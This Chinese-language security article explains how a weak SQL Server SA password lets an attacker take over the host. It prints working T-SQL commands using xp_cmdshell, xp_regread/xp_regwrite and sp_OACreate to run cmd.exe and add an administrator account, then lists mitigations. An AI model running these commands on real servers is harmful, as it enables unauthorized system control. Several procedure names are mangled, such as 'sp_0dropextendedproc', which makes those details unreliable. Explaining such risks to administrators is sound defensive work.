系统安全之SA弱口令带来的安全隐患 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/138/2021_2022__E7_B3_BB_E7_BB_9F_E5_AE_89_E5_c98_138159.htm 存储过程是存储在SQLServer中的预先写好的SQL语句集合，其中危险性最高的扩展存储过程就是xp_cmdshell了，它可以执行操作系统的任何指令，而SA是Microsoft SQLServer的管理员帐号，拥有最高权限，它可以执行扩展存储过程，并获得返回值，比如执行： exec master..xp_cmdshell net user test 1234 /add和exec master..xp_cmdshell net localgroup administrators test /add这样对方的系统就被添加了一个用户名为test，密码为1234，有管理员权限的用户，如图一所示。 现在你应该明白为什么得到SA密码，就可以得到系统的最高权限了吧。而往往不少网络管理员不清楚这个情况，为自己的SA用户起了一些诸如1234，4321等简单的密码，甚至根本就不设置密码，这样网络入侵者就可以利用一些黑客工具很轻松的扫描到SA的密码，进而控制计算机。 除了xp_cmdshell，还有一些存储过程也有可能会被入侵者利用到： 1、xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值)，使用方法(得到机器名)：DECLARE @test varchar(50)EXEC master..xp_regread @rootkey=HKEY_LOCAL_MACHINE,@key=system\controlset001\control\computername\computername,@value_name=computername,@value=@test OUTPUTSELECT @test2、xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值)，使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb)： EXEC

master..xp_regwrite@rootkey=HKEY_LOCAL_MACHINE,@key=SOFTWARE\aaa,@value_name=aaaValue,@type=REG_SZ,@value=bbb如果被入侵的计算机的administrator用户可以浏览注册表中的HKEY_LOCAL_MACHINE\SAM\SAM\信息，那使用xp_regread、xp_regwrite这两个存储过程可以实现克隆administrator用户，得到管理员权限。xp_reg0deletekey、xp_reg0deletevalue也会对系统带来安全隐患。 3、OLE相关的一系列存储过程，这系列的存储过程有sp_OACreate，sp_OADestroy，sp_OAGetErrorInfo，sp_OAGetProperty，sp_OAMethod，sp_OASetProperty，sp_OAStop，使用方法：DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, c:\WINNT\system32\cmd.exe /c net user test 1234 /add--这样对方系统增加了一个用户名为test，密码为1234的用户，再执行：DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add --用户test，被加入管理员组。 解决办法：给SA起个足够复杂的密码，使网络攻击者很难破解出来。为了保险，我们还要到在SQLServer的查询分析器中使用存储过程sp_0dropextendedproc删除xp_cmdshell等存储过程，需要时再使用sp_addextendedproc恢复即可，具体操作可以在SQLServer中查询sp_0dropextendedproc和sp_addextendedproc的使用帮助，需要注意一点的是删除OLE相关系列的存储过程，可能会造成企业管理器中的某些功能无法使用，这里笔者不建议删除。 既然我们知道了SP_OACREATE的使用方法

，那我们就可以到\WINNT\system32下找到cmd.exe，net.exe和net1.exe这三个文件，在“属性”“安全”中把可以对他们访问的用户全部删除掉，这样就无法使用SP_OACREATE来增加系统用户了，在我们需要访问这些文件的时候再加上访问用户就可以了。